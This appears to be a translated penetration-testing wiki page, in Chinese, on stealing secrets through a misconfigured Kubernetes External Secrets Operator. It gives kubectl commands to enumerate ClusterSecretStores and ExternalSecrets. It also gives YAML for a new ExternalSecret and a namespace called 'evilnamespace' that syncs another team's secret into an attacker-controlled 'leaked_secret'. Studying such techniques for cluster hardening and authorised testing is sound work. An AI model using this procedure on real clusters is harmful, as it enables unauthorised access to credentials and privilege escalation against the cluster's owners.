Kubernetes External Secret Operator

本页面的原始作者是 Fares

本页面提供了一些指针,说明您如何可以实现从配置错误的ESO或使用ESO同步其秘密的应用程序中窃取秘密。

免责声明

下面展示的技术只有在满足某些情况时才能起作用。例如,它取决于允许在您拥有/受损的命名空间上同步秘密所需的要求。您需要自己弄清楚。

先决条件

  1. 在具有对命名空间的管理员特权的kubernetes / openshift集群中立足

  2. 至少在集群级别对ExternalSecret具有读取权限

  3. 弄清楚是否需要任何标签/注释或组成员资格,以允许ESO同步您的秘密。如果您很幸运,您可以自由窃取任何已定义的秘密。

收集有关现有ClusterSecretStore的信息

假设您有足够权限读取此资源的用户;首先列出现有的 ClusterSecretStores

kubectl get ClusterSecretStore

外部秘密枚举

假设您找到了一个名为 mystore 的 ClusterSecretStore。继续枚举其关联的外部秘密。

kubectl get externalsecret -A | grep mystore

这个资源是命名空间范围的,所以除非你已经知道要查找哪个命名空间,否则请添加 -A 选项以跨所有命名空间查找。

你应该获得一个已定义的 externalsecret 列表。假设你找到了一个名为 mysecret 的 externalsecret 对象,并且被 mynamespace 命名空间使用。收集更多关于它保存了什么类型秘密的信息。

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

组装碎片

从这里,您可以获取一个或多个秘密名称(如在秘密资源中定义)。您将获得类似于以下输出:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

现在我们已经准备好了:

  • 命名一个 ClusterSecretStore

  • 命名一个 ExternalSecret

  • 密钥的名称

现在我们已经拥有所有需要的信息,您可以创建一个 ExternalSecret(并最终修补/创建一个新的命名空间,以符合同步新密钥所需的先决条件):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

在几分钟后,如果同步条件得到满足,您应该能够在您的命名空间内查看泄露的秘密。

kubectl get secret leaked_secret -o yaml

参考

Last updated